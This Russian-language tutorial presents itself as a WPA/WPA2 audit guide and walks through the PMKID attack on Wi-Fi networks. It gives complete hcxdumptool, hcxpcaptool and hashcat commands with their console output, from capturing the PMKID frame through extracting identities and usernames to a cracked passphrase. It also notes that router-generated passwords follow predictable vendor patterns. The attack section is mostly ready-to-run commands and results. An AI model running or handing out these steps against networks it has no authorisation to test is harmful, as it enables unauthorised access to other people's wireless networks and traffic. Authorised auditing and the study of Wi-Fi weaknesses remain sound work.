Аудит беспроводных сетей WPA/WPA2
Атака с использованием PMKID

Атаки по подбору паролей на основе перехваченных кадров не новы, но в отличие от ранее применяемых методов новая атака не требует ожидания подключения к сети нового пользователя и сохранения всей активности, связанной с установкой им соединения. Для получения данных, достаточных для начала подбора пароля, новый метод требует перехвата лишь одного кадра, который можно получить в любое время, отправив запрос аутентификации к точке доступа. Подобная особенность существенно упрощает получение данных для начала подбора, но в целом успешность атаки как и раньше зависит от стойкости установленного пароля к подбору по словарю.

Отмечается, что большинство пользователей не утруждают себя установкой стойких к подбору паролей подключения к беспроводной сети или используют генерируемые точкой доступа пароли, которые на первый взгляд являются стойкими, но на деле формируются на основе предсказуемых шаблонов. Подобные пароли достаточно эффективно подбираются при знании информации о производителе точки доступа, которую можно получить, например, проанализировав MAC-адрес и ESSID. Время подбора подобных 10-символьных паролей оценивается примерно в 8 дней на системе с 4 GPU.

Для проведения атаки требуются свежие версии hcxdumptool, hcxtools и hashcat.

Запускаем hcxdumptool, отправляем запрос к точке доступа для получения PMKID и сохраняем результат в файл в формате pcapng

```
./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status

 start capturing (stop with ctrl+c)
 INTERFACE:...............: wlp39s0f3u4u5
 FILTERLIST...............: 0 entries
 MAC CLIENT...............: 89acf0e761f4 (client)
 MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
 EAPOL TIMEOUT............: 20000
 DEAUTHENTICATIONINTERVALL: 10 beacons
 GIVE UP DEAUTHENTICATIONS: 20 tries
 REPLAYCOUNTER............: 62083
 ....
 [13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e  [ASSOCIATIONREQUEST, SEQUENCE
4]
 [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE
1206]
 [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
```

В случае если точка доступа поддерживает отправку PMKID будет выведено сообщение "FOUND PMKID". Из-за помех перехват может не получиться с первого раза, поэтому рекомендуется запускать hcxdumptool в течение приблизительно 10 минут.

Запускаем утилиту hcxpcaptool для преобразования перехваченного дампа из формата pcapng в формат для разбора в hashcat.

```
./hcxpcaptool -z test.16800 test.pcapng

start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800
```

Содержимое записанного файла включает строки вида "2582a81d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465af3a", которые содержат шестнадцатеричные значения PMKID, MAC AP,MAC Station и ESSID.

Дополнительно при запуске hcxpcaptool можно использовать опции "-E", "-I" и '-U" для анализа наличия паролей, идентификаторов и имён пользователей в беспроводном трафике:

```
./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800
test.pcapng
```

Запускаем hashcat для подбора пароля (применяется режим 16800):

```
./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
```

```
Applicable optimizers:
    * Zero-Byte
    * Single-Hash
    * Single-Salt
    * Brute-Force
    * Slow-Hash-SIMD-LOOP

    Minimum password length supported by kernel: 8
    Maximum password length supported by kernel: 63

    Watchdog: Temperature abort trigger set to 90c

    2582573161c61*4604d4e*89acf0e761f4*ed4824639f3a:hashcat!

    Session..........: hashcat
    Status...........: Cracked
    Hash.Type........: WPA-PMKID-PBKDF2
    Hash.Target......: 2582a8281d0e61c61*4604ba734d4e*89acf...a39f3a
    Time.Started.....: Sun Aug 12 12:51:38 2018 (41 secs)
    Time.Estimated...: Sun Aug 12 12:52:19 2018 (0 secs)
    Guess.Mask.......: ?l?l?l?l?l?lt! [8]
    Guess.Queue......: 1/1 (100.00%)
    Speed.Dev.#1.....:   408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024
Vec:1
    Speed.Dev.#2.....:   408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024
Vec:1
    Speed.Dev.#3.....:   412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024
Vec:1
    Speed.Dev.#4.....:   410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024
Vec:1
    Speed.Dev.#*.....:  1641.3 kH/s
    Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
    Progress.........: 66846720/308915776 (21.64%)
    Rejected.........: 0/66846720 (0.00%)
    Restore.Point....: 0/11881376 (0.00%)
    Candidates.#1....: hariert! -> hhzkzet!
    Candidates.#2....: hdtivst! -> hzxkbnt!
    Candidates.#3....: gnxpwet! -> gwqivst!
    Candidates.#4....: gxhcddt! -> grjmrut!
    HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz
Bus:1
    HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz
Bus:1
    HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz
Bus:1
    HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz
Bus:1
```

Обсуждения: https://hashcat.net/forum/thread-7717.html